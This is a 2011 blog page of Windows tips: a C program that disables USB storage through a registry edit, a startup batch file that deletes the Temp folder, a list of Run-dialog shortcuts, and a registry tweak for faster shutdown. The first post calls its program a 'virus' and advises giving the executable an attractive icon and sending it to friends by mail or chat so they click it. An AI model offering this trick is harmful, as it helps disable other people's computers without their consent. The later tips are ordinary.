Powered By Blogger

Friday, September 30, 2011

A Program to block and unblock USB Ports

Here is the source code of C programming language which will block the USB ports of the computer. In other ways u can say that this is a small virus program to disable USB ports of the computer.

#include <stdio.h>
#include <conio.h>
void main()
{
 system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v     Start \/t REG_DWORD \/d 4 \/f");
 getch();
}

Now you need copy the above given C source code in your text editor of compiler like Visual C++ or Borland C++ or any other compiler which you have installed in your computer. Now compile the the given C source code and then, you will see a block_usb.exe file created in your folder. Now apter you run that block_usb.exe file (application) then all the USB ports of your computer will be blocked and it will not be able to work anymore. You can notice this effects apter you reboot your computer.
You might be afraid to run this application in your computer, if your computer USB will not work furthermore. Keeping this things i have also written a C source code to again enable your blocked USB ports. Here below is the C source code for again enable your blocked USB ports.

#include <stdio.h>
#include <conio.h>
void main()
{
 system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
 getch();
}

Again copy these above C source code and compile with your compiler, you will see unblock_usb.exe file created in your folder. now if you will run that exe file application all the blocked USB ports of your computer will be working again.
The icon of your created exe file may not look attractive to your friends if you send them through mail. So that your friends will click on your virus program you need to change the icon of that file. Make attractive icon and then send through yahoo chat or by any means.

Automatically Delete Temporary Files In Windows 7

Are you getting tensed for deleting temporary files? You might be feeling hectic deleting temporary files manually at every time intervals. Moreover if you have laptop and you have very less hard disk space then you might be tensed about the temporary files. In this article I am going to write about the tips for deleting temporary files automatically.
Windows 7 comes with the Disk Clean-up Wizard like Windows vista and windows XP, but that utility only deletes your temporary files if they are more than a week old. But very few of us know that by applying simple trick, you can automate the process by creating a simple batch file and then making it run at start-up so that you never have to worry about manually freeing (deleting) up space from your Temp folder.
For that follow the below process:
• Open Notepad and then click on File >Save As.
• In the file name dialogue box, Type “tempclean.bat”
• Now change the entry in Save As Type dropdown box to “All files”.
• Then click on save.
• Then in your file, type the following:
cd C:\Users\%username%\AppData\Local
Rmdir/S/Q Temp
• Save the file
• Now navigate to the folder where the file is saved.
• No right click on it and click on ‘Create Shortcut’.
• Place this shortcut in your ‘startup’ folder in your start Menu. (If you don’t know how to add to startup menu then see below of this post).
Voila! You are done. Now, every time you log in to Windows, the file will be executed automatically and your temporary files will be cleaned. This is very useful for notebooks and laptops with small hard-disk space.
In case you get an access error while the file is being executed, replace %username% with your windows login username.
This trick works as self defense antivirus which will delete your temporary files automatically on every startup of your computer.

How to add shortcut to start up menu
• Click on start button
• Now click on all programs.
• Now right click the startup and open in new windows.
• Now drag the shortcut of any file or application to this folder.
• That’s all you are done. Now whenever your computer start the file will be automatically executed.

Hope this trick helps you. Queries and comments are most welcome!

Some useful commands’ shortcut..

Normally you would not associate windows with commands. For everything, you have to navigate through a couple of menu using the mouse before getting to the concerned window/utility/tool etc. but windows does come with commands that give you quick access to tools for configuring and fixing our computer. Some of these are very helpful if you prefer the use of keyboard more than your mouse and don’t like moving your hand back and forth between them or suddenly the touchpad of your laptop stops working/ behaves erratically. Just press press win + R to get the Run command dialog box to get started.
·         %temp%    temporary files folder. Your recently downloaded files, unzipped setup packages, etc will b e present here.
·         Appwiz.cpl               add or remove programs window for uninstalling applications.
·         Hdwwiz.cpl              Add hardware wizard for connecting any new piece of equipment for recently connected to your computer.
·         Fsquirt                        Bluetooth file transfer wizard for sending and receiving files fom your Bluetooth enabled mobile phone/PMP
·         Calc              This will open compute calculator.
·         Chrmap      Character map for inserting special characters such s copyright and trademark symbol.
·         Chkdsk       check disk utilioty.
·         Devmgmt.msc         Device manager for troubleshooting hardware.
·         Cleanmgr                  disk cleanup utility for cleaning up your temporary files and retrieving wasted hard disk space.
·         Dfrg.msc                    disk defragment utility.
·         Diskmgmt.msc        disk management to help you manage your hard disk partitions and removable storage devices.
·         Diskpart                     disk partition manager.
·         Desk.cpl                     display properties for changing display resolutions
·         Gpedit.msc              Group policy editor.
·         Ciadv.msc                 indexing service settings.
·         Inetcpl.cpl                                         internet properties. Very useful and helpful you want to change your proxy setting without going through Internet Explorer
·         Iexplore                     open internet explorer.
·         Logoff                         log off from your account.
·         Main.cpl                    open mouse properties.
·         Main.cpl keyboard                                open keyboard properties.
·         Ncpa.cpl                    network connections window to manage your networks.
·         Netsetup.cpl           network setup wizard to create an ad hoc network among other things.
·         Notepad                    notepad
·         Perfmon                    performance monitor.
·         Powercfg.cpl           power management to change power profiles
·         Regedit                      registry editor
·         Services.msc            service to disable unused service and boost computer speed. We, however, recommend you not to play around with this, unless you are an advanced user.
·         Fsmgmt.msc            opem shared folders
·         Shutdown                 shutdown windows
·         Msconfig                   System configuration Utility, mainly used to change boot options and disable startup items
·         Sysdm.cpl                 display system properties.
·         Taskmgr                     task manager for killing processes that are not responding and monitoring resource usage.
·         Firewall.cpl              windows firewall.

Faster Windows Shutdown...




Some time windows take too much time to kill the process or stop service once you give the Shutdown command. But, in most of the case you see it took a long time for shutting down windows. So in this article I am going to write about the simple trick through which you will be able to boost up your shutdown time. In most of the case it does not harm your system when you reduce the shutdown time.
·         Go to start
·         Run and type regedit
·         .Now navigate to HKEY_LOCAL_MACHINE > SYSTEM > Currentcontrolset > Control in the left pane.
·         .Now In the right pane, right click on the key called ‘WaitToKillServiceTimeout’ and click on modify.
·         .Now you need to change the value data from 12000 (that is 12 seconds) to 5000 (that 5 seconds). To be on the safe side do not reduce below 5 seconds because some of the programs need a couple of seconds to close properly and killing before that may results in data loss.
That’s all, now restart your PC and afterwards you will notice the change. Please don’t play with registry files if you are not advanced user. Your system may crash if you change registry files everywhere. Know what you are doing else it may harm you. Have fun!!